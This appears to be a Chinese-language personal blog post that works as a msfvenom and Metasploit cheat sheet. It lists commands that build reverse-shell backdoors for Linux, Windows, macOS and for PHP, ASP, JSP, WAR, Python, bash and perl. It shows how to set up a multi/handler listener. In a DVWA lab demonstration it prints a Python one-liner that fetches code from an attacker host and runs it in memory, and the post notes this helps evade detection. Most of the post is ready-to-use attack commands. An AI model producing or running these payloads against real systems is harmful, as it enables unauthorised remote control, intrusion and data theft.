msfvenom


msfvenom

msfvenom是msfpayload和msfencode的组合。将这两个攻击集成在一个框架示例中。它是用来生成后门的软件,在目标机器上执行后门,在本地监听上线

msfvenom基本参数

image-20230531171728448

msfvenom生成payload

https://blog.csdn.net/qq_34839026/article/details/128722499?ops_request_misc=&request_id=&biz_id=102&utm_term=msfvenom%E7%94%9F%E6%88%90payload&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-128722499.142^v88^control_2,239^v2^insert_chatgpt&spm=1018.2226.3001.4187

可执行程序payload

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -a x86 --platform Linux -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf

Windows

32位

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe > shell.exe

64位

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=ip LPORT=4444 -a x86 --platform osx -f macho > shell.macho

攻击Windows64位实例

生成可执行文件木马

image-20230608123941742

开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip
set lport port
run/exploit
exploit -j 放在后台运行
jobs   查看

image-20230608125721588

把刚刚生成的木马文件放到靶机里执行

image-20230608130758716

image-20230608130936738

这样就拿到了meterpreter

web payload

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=ip LPORT=4444 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=4444 -f asp > shell.asp

jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=4444 -f raw > shell.jsp

war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=4444 -f war > shell.wars

攻击实例

生成php木马文件

image-20230608132435178

设置监听

image-20230608132515877

在靶机里面执行刚刚生成的木马文件

image-20230608132627564

然后就拿到了meterpreter

image-20230608132825317

脚本payload

python

msfvenom -p cmd/unix/reverse_python LHOST=ip LPORT=4444 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=ip LPORT=4444 -f raw > shell.py

bash

msfvenom -p cmd/unix/reverse_bash LHOST=ip LPORT=4444 -f raw > shell.sh

perl

msfvenom -p cmd/unix/reverse_perl LHOST=ip LPORT=4444 -f raw > shell.pl

staged&stageless payload

payload staged stsgeless
reverse_tcp windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
reverse_https windows/meterpreter/reverse_https windows/meterpreter_reverse_https
bind_tcp windows/meterpreter/bind_tcp windows/meterpreter_bind_tcp
reverse_tcp ipv6 windows/meterpreter/reverse_ipv6_tcp windows/meterpreter_reverse_ipv6_tcp

stageless

Stageless meterpreter是一个二进制文件,包含meterpreter的所有必需部分以及所有必需的扩展,全部捆绑在一起,将完整的payload都编译在木马文件中体积较大

staged

staged meterpreter负责建立目标用户与攻击者之间的连接,将执行传递到另一个阶段,如reverse_tcp,bind_tcp

stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执行,还需要通过其他的工具进行管理

攻击Windows实例

靶机:windows

攻击机:kali

web_delivery

当攻击者用户受害者主机的部分控制权,但还没有拿到一个完整的shell时,web_delivery就派上用场了。

web_delivery的主要目的是快速和受害者主机建立一条session,当受害者主机存在比如命令注入、远程代码执行等问题时,攻击者可以使用web_delivery生成一条命令进行连接。

另外web_delivery不会在受害者的主机磁盘上写文件,而是直接将攻击者的服务器上的代码加载到内存执行,有利于绕过检测。

web_delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set target 0、1、2来进行设置是什么类型的脚本。

use exploit/multi/script/web_delivery
set payload ……
set lhost
set lport
set targets 序号
run

方法一:通过web站点,使用无文件的方式攻击利用

当我们已经确定了要攻击的靶机,那么下一步就应该去扫描端口,看哪些端口是开放着的

namp -sV -T4 靶机IP

然后根据开放的端口进行攻击

这里靶机漏洞以dvwa靶场的命令执行为例

首先利用web_delivery生成木马

image-20230609170441456

然后把生成的木马放到靶机的漏洞里执行

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.197.128:8080/eWDQyMGivssnLlv',context=ssl._create_unverified_context());exec(r.read());"

方法二:通过web站点,上传webshell,返回给msf


文章作者: f14g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f14g !
评论
  目录